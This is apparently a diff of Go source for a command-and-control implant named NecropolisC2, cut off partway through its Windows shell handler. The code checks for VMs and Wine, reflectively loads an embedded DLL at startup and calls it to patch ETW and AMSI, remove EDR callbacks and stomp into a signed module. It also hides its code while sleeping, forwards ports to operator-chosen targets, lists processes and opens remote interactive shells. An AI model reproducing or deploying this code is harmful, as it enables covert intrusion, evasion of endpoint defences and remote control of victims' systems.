|
||||
|
||||
// --- 10% ---
|
||||
|
||||
func gamarueCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
productID, _, err := k.GetStringValue("ProductId")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// Gamarue VM detection: checks for specific product ID patterns
|
||||
return strings.HasPrefix(productID, "00330-") || strings.HasPrefix(productID, "00331-")
|
||||
}
|
||||
|
||||
// --- 100% ---
|
||||
|
||||
func wineDetection() bool {
|
||||
ntdll, err := syscall.LoadLibrary("ntdll.dll")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer syscall.FreeLibrary(ntdll)
|
||||
|
||||
_, err = syscall.GetProcAddress(ntdll, "wine_get_unix_file_name")
|
||||
return err == nil
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
package core
|
||||
|
||||
import _ "embed"
|
||||
|
||||
//go:embed valak.dll
|
||||
var valakDLLBin []byte
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedAuthToken = []byte{}
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = []byte{}
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = []byte{}
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = []byte{}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build !evasion
|
||||
|
||||
package core
|
||||
|
||||
import "time"
|
||||
|
||||
var (
|
||||
procPatchETW uintptr = 0
|
||||
procPatchAMSI uintptr = 0
|
||||
procRemoveEDRCallbacks uintptr = 0
|
||||
)
|
||||
|
||||
func init() {}
|
||||
|
||||
func EvasionSleep(d time.Duration) { time.Sleep(d) }
|
||||
@@ -0,0 +1,397 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// 1. Load the embedded valak.dll binary data.
|
||||
// 2. If the data is empty, return false.
|
||||
// 3. Validate DOS and NT PE headers.
|
||||
// 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere.
|
||||
// 6. Copy PE headers into allocated memory.
|
||||
// 7. Copy each section from raw bytes to its virtual address.
|
||||
// 8. Apply base relocations if the DLL didn't load at its preferred address.
|
||||
// 9. Resolve imports (fill IAT — kernel32, ntdll, etc).
|
||||
// 10. Find .text section bounds (needed by EvasionSleep).
|
||||
// 11. Set memory protections on each section (.text=RX, .data=RW).
|
||||
// 12. Resolve exports (find function addresses in the export table).
|
||||
// 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup.
|
||||
// 14. Call init_evasion() — scan ntdll for syscall gadgets.
|
||||
// 15. Set dllLoaded=true and return.
|
||||
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
|
||||
// 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order.
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"log"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
valakBase uintptr
|
||||
dllTextStart uintptr
|
||||
dllTextSize uintptr
|
||||
dllLoaded bool
|
||||
procInit uintptr
|
||||
procPatchETW uintptr
|
||||
procPatchAMSI uintptr
|
||||
procRemoveEDRCallbacks uintptr
|
||||
procStompEvasion uintptr
|
||||
procIsRelocated uintptr
|
||||
)
|
||||
|
||||
const (
|
||||
imageDosSignature = 0x5A4D
|
||||
imageNTSignature = 0x00004550
|
||||
imageDirEntryExport = 0
|
||||
memCommit = 0x00001000
|
||||
memReserve = 0x00002000
|
||||
pageReadwrite = 0x04
|
||||
pageExecuteRead = 0x20
|
||||
pageExecReadwrite = 0x40
|
||||
dllProcessAttach = 1
|
||||
)
|
||||
|
||||
func loadValakDLLReflective() bool {
|
||||
data := valakDLLBin // 1
|
||||
if len(data) == 0 {
|
||||
return false // 2
|
||||
}
|
||||
|
||||
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3
|
||||
if dosHeader.E_magic != imageDosSignature {
|
||||
return false
|
||||
}
|
||||
|
||||
ntOffset := dosHeader.E_lfanew
|
||||
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
|
||||
if ntHeader.Signature != imageNTSignature {
|
||||
return false
|
||||
}
|
||||
|
||||
imageBase := ntHeader.OptionalHeader.ImageBase
|
||||
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
|
||||
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4
|
||||
|
||||
// always allocate anywhere, always apply relocs. High x64 image bases
|
||||
// (0x180000000+) can fail silently on VMs and EDR-protected systems.
|
||||
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
valakBase = base // ← end 5
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6
|
||||
|
||||
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
|
||||
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7
|
||||
for i := range sections {
|
||||
sec := §ions[i]
|
||||
if sec.SizeOfRawData == 0 {
|
||||
continue
|
||||
}
|
||||
dst := base + uintptr(sec.VirtualAddress)
|
||||
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
|
||||
continue
|
||||
}
|
||||
srcOff := uintptr(sec.PointerToRawData)
|
||||
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
|
||||
continue
|
||||
}
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData))
|
||||
} // ← end 7
|
||||
|
||||
delta := int64(base) - int64(imageBase) // → start 8
|
||||
if delta != 0 {
|
||||
applyRelocations(data, base, delta, ntHeader)
|
||||
} // ← end 8
|
||||
resolveImports(data, base, ntHeader) // 9
|
||||
for i := range sections { // → start 10
|
||||
if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' {
|
||||
dllTextStart = base + uintptr(sections[i].VirtualAddress)
|
||||
dllTextSize = uintptr(sections[i].VirtualSize)
|
||||
break
|
||||
}
|
||||
} // ← end 10
|
||||
for i := range sections { // → start 11
|
||||
sec := §ions[i]
|
||||
if sec.VirtualAddress == 0 {
|
||||
continue
|
||||
}
|
||||
addr := base + uintptr(sec.VirtualAddress)
|
||||
prot := sectionProtect(sec.Characteristics)
|
||||
var old uint32
|
||||
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
|
||||
} // ← end 11
|
||||
resolveExports(data, base, ntHeader) // 12
|
||||
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
|
||||
if entry != base { // → start 13
|
||||
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
|
||||
} // ← end 13
|
||||
|
||||
if procInit != 0 { // → start 14
|
||||
syscall.SyscallN(procInit)
|
||||
} // ← end 14
|
||||
|
||||
log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data))
|
||||
dllLoaded = true // 15
|
||||
return true
|
||||
}
|
||||
|
||||
type imageDOSHeader struct {
|
||||
E_magic uint16
|
||||
_ [58]byte
|
||||
E_lfanew uint32
|
||||
}
|
||||
|
||||
type imageFileHeader struct {
|
||||
_ [2]byte
|
||||
NumberOfSections uint16
|
||||
_ [12]byte
|
||||
SizeOfOptionalHeader uint16
|
||||
_ [2]byte
|
||||
}
|
||||
|
||||
type imageDataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type imageOptionalHeader64 struct {
|
||||
_ [16]byte
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
_ [16]byte
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
_ [48]byte
|
||||
DataDirectory [16]imageDataDirectory
|
||||
}
|
||||
|
||||
type imageNTHeaders64 struct {
|
||||
Signature uint32
|
||||
FileHeader imageFileHeader
|
||||
OptionalHeader imageOptionalHeader64
|
||||
}
|
||||
|
||||
type imageSectionHeader struct {
|
||||
Name [8]byte
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLinenumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLinenumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
type imageExportDirectory struct {
|
||||
_ [12]byte
|
||||
_ [4]byte
|
||||
_ [4]byte
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
// Characteristics is at offset 36 in IMAGE_SECTION_HEADER.
|
||||
// IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000
|
||||
func sectionProtect(chars uint32) uint32 {
|
||||
|
||||
switch {
|
||||
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
|
||||
return pageExecReadwrite
|
||||
case chars&0x20000000 != 0:
|
||||
return pageExecuteRead
|
||||
case chars&0x80000000 != 0:
|
||||
return pageReadwrite
|
||||
default:
|
||||
return pageReadwrite
|
||||
}
|
||||
}
|
||||
|
||||
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
|
||||
relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC
|
||||
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
|
||||
off := uintptr(0)
|
||||
for off < uintptr(relocDir.Size) {
|
||||
blockVA := binary.LittleEndian.Uint32(relocData[off:])
|
||||
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
|
||||
if blockSize == 0 {
|
||||
break
|
||||
}
|
||||
entries := (blockSize - 8) / 2
|
||||
for e := uint32(0); e < entries; e++ {
|
||||
entryOff := off + 8 + uintptr(e*2)
|
||||
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
|
||||
relocType := entry >> 12
|
||||
relocOff := entry & 0xFFF
|
||||
if relocType == 0 {
|
||||
continue
|
||||
}
|
||||
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
|
||||
if relocType == 10 {
|
||||
val := (*uint64)(addr)
|
||||
*val = uint64(int64(*val) + delta)
|
||||
}
|
||||
}
|
||||
off += uintptr(blockSize)
|
||||
}
|
||||
}
|
||||
|
||||
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport]
|
||||
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
|
||||
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
|
||||
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
|
||||
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
|
||||
|
||||
lookup := func(name string) uintptr {
|
||||
for i := uint32(0); i < exp.NumberOfNames; i++ {
|
||||
fnName := goString(base + uintptr(names[i]))
|
||||
if fnName == name {
|
||||
if uint32(ords[i]) < exp.NumberOfFunctions {
|
||||
return base + uintptr(funcs[ords[i]])
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
procInit = lookup("init_evasion")
|
||||
procPatchETW = lookup("patch_etw")
|
||||
procPatchAMSI = lookup("patch_amsi")
|
||||
procRemoveEDRCallbacks = lookup("remove_edr_callbacks")
|
||||
procStompEvasion = lookup("stomp_evasion")
|
||||
procIsRelocated = lookup("is_relocated")
|
||||
}
|
||||
|
||||
type imageImportDescriptor struct {
|
||||
OriginalFirstThunk uint32
|
||||
_ uint32 // TimeDateStamp
|
||||
_ uint32 // ForwarderChain
|
||||
Name uint32
|
||||
FirstThunk uint32
|
||||
}
|
||||
|
||||
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT
|
||||
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
|
||||
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
|
||||
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
|
||||
|
||||
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
|
||||
descSize := uintptr(unsafe.Sizeof(*desc))
|
||||
for desc.Name != 0 {
|
||||
dllName := goString(base + uintptr(desc.Name))
|
||||
|
||||
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
if hMod == 0 {
|
||||
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
}
|
||||
if hMod == 0 {
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
continue
|
||||
}
|
||||
|
||||
thunkRVA := desc.OriginalFirstThunk
|
||||
if thunkRVA == 0 {
|
||||
thunkRVA = desc.FirstThunk
|
||||
}
|
||||
|
||||
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
|
||||
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
|
||||
step := uintptr(8)
|
||||
|
||||
for *thunk != 0 {
|
||||
var fnAddr uintptr
|
||||
if *thunk&(1<<63) != 0 {
|
||||
ordinal := uintptr(*thunk & 0xFFFF)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
|
||||
} else {
|
||||
nameRVA := uint32(*thunk & 0x7FFFFFFF)
|
||||
fnName := goString(base + uintptr(nameRVA) + 2)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
|
||||
}
|
||||
*iat = uint64(fnAddr)
|
||||
|
||||
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
|
||||
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
|
||||
}
|
||||
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
}
|
||||
}
|
||||
|
||||
func goString(addr uintptr) string {
|
||||
s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256)
|
||||
for j := 0; j < len(s); j++ {
|
||||
if s[j] == 0 {
|
||||
return s[:j]
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
|
||||
func EvasionSleep(d time.Duration) {
|
||||
if dllLoaded && dllTextStart != 0 {
|
||||
var old uint32
|
||||
windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable
|
||||
time.Sleep(d) // sleep from Go binary, not DLL
|
||||
windows.VirtualProtect(dllTextStart, dllTextSize, old, &old) // restore
|
||||
return
|
||||
}
|
||||
time.Sleep(d) // fallback: plain sleep, no obfuscation
|
||||
}
|
||||
|
||||
// 17. init() — called automatically by Go when package loads. Spawns goroutine that loads
|
||||
// the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR.
|
||||
func init() {
|
||||
go func() { // → start 17
|
||||
if loadValakDLLReflective() {
|
||||
if procStompEvasion != 0 { // stomp first — hides module in signed DLL
|
||||
syscall.SyscallN(procStompEvasion, valakBase)
|
||||
if procIsRelocated != 0 {
|
||||
r, _, _ := syscall.SyscallN(procIsRelocated)
|
||||
if r != 0 {
|
||||
log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase)
|
||||
}
|
||||
}
|
||||
}
|
||||
if procPatchETW != 0 {
|
||||
syscall.SyscallN(procPatchETW)
|
||||
log.Printf("[evasion] ETW patched")
|
||||
}
|
||||
if procPatchAMSI != 0 {
|
||||
syscall.SyscallN(procPatchAMSI)
|
||||
log.Printf("[evasion] AMSI patched")
|
||||
}
|
||||
if procRemoveEDRCallbacks != 0 {
|
||||
syscall.SyscallN(procRemoveEDRCallbacks)
|
||||
log.Printf("[evasion] EDR callbacks removed")
|
||||
}
|
||||
}
|
||||
}() // ← end 17
|
||||
}
|
||||
|
||||
// no package-level lazy procs, all resolved locally in resolveImports
|
||||
@@ -0,0 +1,34 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
)
|
||||
|
||||
func (a *Agent) handlePortfwdStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
|
||||
br := bufio.NewReader(io.LimitReader(s, 1024))
|
||||
target, err := br.ReadString('\n')
|
||||
if err != nil {
|
||||
log.Printf("[implant] portfwd read target: %v", err)
|
||||
return
|
||||
}
|
||||
target = strings.TrimSpace(target)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("[implant] portfwd dial %s: %v", target, err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
go io.Copy(conn, io.MultiReader(br, s))
|
||||
io.Copy(s, conn)
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/csv"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
|
||||
)
|
||||
|
||||
func listProcesses() []*cpb.Process {
|
||||
switch runtime.GOOS {
|
||||
case "linux":
|
||||
return listProcessesLinux()
|
||||
case "windows":
|
||||
return listProcessesWindows()
|
||||
default:
|
||||
return listProcessesDummy()
|
||||
}
|
||||
}
|
||||
|
||||
func listProcessesWindows() []*cpb.Process {
|
||||
cmd := exec.Command("tasklist", "/FO", "CSV", "/NH")
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return listProcessesDummy()
|
||||
}
|
||||
r := csv.NewReader(bytes.NewReader(out))
|
||||
records, err := r.ReadAll()
|
||||
if err != nil {
|
||||
return listProcessesDummy()
|
||||
}
|
||||
var procs []*cpb.Process
|
||||
for _, parts := range records {
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
name := strings.Trim(parts[0], `"`)
|
||||
pidStr := strings.Trim(parts[1], `"`)
|
||||
pid, _ := strconv.Atoi(pidStr)
|
||||
owner := ""
|
||||
if len(parts) >= 7 {
|
||||
owner = strings.Trim(parts[6], `"`)
|
||||
}
|
||||
procs = append(procs, &cpb.Process{Pid: int32(pid), Name: name, Owner: owner})
|
||||
}
|
||||
return procs
|
||||
}
|
||||
|
||||
func listProcessesLinux() []*cpb.Process {
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return listProcessesDummy()
|
||||
}
|
||||
|
||||
var procs []*cpb.Process
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(e.Name())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
p := &cpb.Process{Pid: int32(pid)}
|
||||
|
||||
stat, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "stat"))
|
||||
if len(stat) == 0 {
|
||||
continue
|
||||
}
|
||||
parenStart := bytes.IndexByte(stat, '(')
|
||||
parenEnd := bytes.LastIndexByte(stat, ')')
|
||||
if parenStart >= 0 && parenEnd > parenStart {
|
||||
p.Name = string(stat[parenStart+1 : parenEnd])
|
||||
}
|
||||
|
||||
status, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "status"))
|
||||
if len(status) > 0 {
|
||||
for _, line := range strings.Split(string(status), "\n") {
|
||||
if strings.HasPrefix(line, "Name:") {
|
||||
val := strings.TrimSpace(strings.TrimPrefix(line, "Name:"))
|
||||
if p.Name == "" {
|
||||
p.Name = val
|
||||
}
|
||||
} else if strings.HasPrefix(line, "Uid:") {
|
||||
uidFields := strings.Fields(strings.TrimSpace(strings.TrimPrefix(line, "Uid:")))
|
||||
if len(uidFields) > 0 {
|
||||
p.Owner = uidFields[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
procs = append(procs, p)
|
||||
}
|
||||
return procs
|
||||
}
|
||||
|
||||
func listProcessesDummy() []*cpb.Process {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func shellPath() string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return "cmd.exe"
|
||||
default:
|
||||
if sh, ok := os.LookupEnv("SHELL"); ok && sh != "" {
|
||||
return sh
|
||||
}
|
||||
for _, candidate := range []string{"/bin/bash", "/bin/sh"} {
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
return "/bin/sh"
|
||||
}
|
||||
}
|
||||
|
||||
func shellCommand() *exec.Cmd {
|
||||
cmd := exec.Command(shellPath())
|
||||
env := os.Environ()
|
||||
filtered := make([]string, 0, len(env)+1)
|
||||
for _, e := range env {
|
||||
if !strings.HasPrefix(e, "TERM=") {
|
||||
filtered = append(filtered, e)
|
||||
}
|
||||
}
|
||||
filtered = append(filtered, "TERM=xterm-256color")
|
||||
cmd.Env = filtered
|
||||
return cmd
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
//go:build !windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"log"
|
||||
|
||||
"github.com/creack/pty"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
)
|
||||
|
||||
func (a *Agent) handleShellStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
|
||||
var winsize pty.Winsize
|
||||
if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
|
||||
log.Printf("[implant] read shell rows: %v", err)
|
||||
return
|
||||
}
|
||||
if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
|
||||
log.Printf("[implant] read shell cols: %v", err)
|
||||
return
|
||||
}
|
||||
if winsize.Rows < 10 || winsize.Cols < 10 {
|
||||
winsize.Rows = 30
|
||||
winsize.Cols = 120
|
||||
}
|
||||
|
||||
cmd := shellCommand()
|
||||
f, err := pty.StartWithSize(cmd, &winsize)
|
||||
if err != nil {
|
||||
log.Printf("[implant] pty start: %v", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
go io.Copy(f, s)
|
||||
io.Copy(s, f)
|
||||
|
||||
cmd.Wait()
|
||||
log.Printf("[implant] shell session ended for %s", remotePeer.String())
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
//go:build windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"log"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procCreatePseudoConsole = modKernel32.NewProc("CreatePseudoConsole")
|
||||
procClosePseudoConsole = modKernel32.NewProc("ClosePseudoConsole")
|
||||
procInitializeProcThreadAttributeList = modKernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
procUpdateProcThreadAttribute = modKernel32.NewProc("UpdateProcThreadAttribute")
|
||||
)
|
||||
|
||||
type coord struct {
|
||||
X, Y int16
|
||||
}
|
||||
|
||||
func (c coord) pack() uintptr {
|
||||
return uintptr((int32(c.Y) << 16) | int32(c.X))
|
||||
}
|
||||
|
||||
type pipeHandle struct {
|
||||
h windows.Handle
|
||||
}
|
||||
|
||||
func (p *pipeHandle) Read(b []byte) (int, error) {
|
||||
var n uint32
|
||||
err := windows.ReadFile(p.h, b, &n, nil)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
func (p *pipeHandle) Write(b []byte) (int, error) {
|
||||
var n uint32
|
||||
err := windows.WriteFile(p.h, b, &n, nil)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
func (p *pipeHandle) Close() error {
|
||||
return windows.CloseHandle(p.h)
|
||||
}
|
||||
|
||||
func (a *Agent) handleShellStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
|
||||
var rows, cols uint16
|
||||
if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
|
||||
log.Printf("[implant] read shell rows: %v", err)
|
||||
return
|
||||
}
|
||||
if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
|
||||
log.Printf("[implant] read shell cols: %v", err)
|
||||
return
|
||||
}
|
||||
if rows < 10 || cols < 80 {
|
||||
rows = 30
|
||||
cols = 120
|
||||
}
|
||||
co := coord{X: int16(cols), Y: int16(rows)}
|
||||
log.Printf("[implant] shell using rows=%d cols=%d", rows, cols)
|
||||
|
||||
if err := procCreatePseudoConsole.Find(); err != nil {
|
||||
log.Printf("[implant] ConPTY not available: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
var hPtyIn, hCmdIn windows.Handle
|
||||
var hCmdOut, hPtyOut windows.Handle
|
||||
if err := windows.CreatePipe(&hPtyIn, &hCmdIn, nil, 0); err != nil {
|
||||
log.Printf("[implant] pipe in: %v", err)
|
||||
return
|
||||
}
|
||||
if err := windows.CreatePipe(&hCmdOut, &hPtyOut, nil, 0); err != nil {
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
log.Printf("[implant] pipe out: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
var hPC windows.Handle
|
||||
ret, _, _ := procCreatePseudoConsole.Call(
|
||||
co.pack(),
|
||||
uintptr(hPtyIn),
|
||||
uintptr(hPtyOut),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&hPC)),
|
||||
)
|
||||
if ret != 0 {
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
||||
log.Printf("[implant] create pty failed: ret=0x%x", ret)
|
||||
return
|
||||
}
|
||||
log.Printf("[implant] ConPTY created, hPC=0x%x", uintptr(hPC))
|
||||
|
||||
var sz uintptr
|
||||
procInitializeProcThreadAttributeList.Call(0, 1, 0, uintptr(unsafe.Pointer(&sz)))
|
||||
attrList := make([]byte, sz)
|
||||
ret, _, _ = procInitializeProcThreadAttributeList.Call(
|
||||
uintptr(unsafe.Pointer(&attrList[0])),
|
||||
1, 0,
|
||||
uintptr(unsafe.Pointer(&sz)),
|
||||
)
|
||||
if ret == 0 {
|
||||
log.Printf("[implant] init attr list failed")
|
||||
procClosePseudoConsole.Call(uintptr(hPC))
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
|
||||
return
|
||||
}
|
||||
|
||||
ret, _, _ = procUpdateProcThreadAttribute.Call(
|
||||
uintptr(unsafe.Pointer(&attrList[0])),
|
||||
0,
|
||||
0x00020016,
|
||||
uintptr(hPC),
|
||||
unsafe.Sizeof(hPC),
|
||||
0, 0,
|
||||
)
|
||||
if ret == 0 {
|
||||
log.Printf("[implant] update attr failed")
|
||||
procClosePseudoConsole.Call(uintptr(hPC))
|
||||
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
|
||||
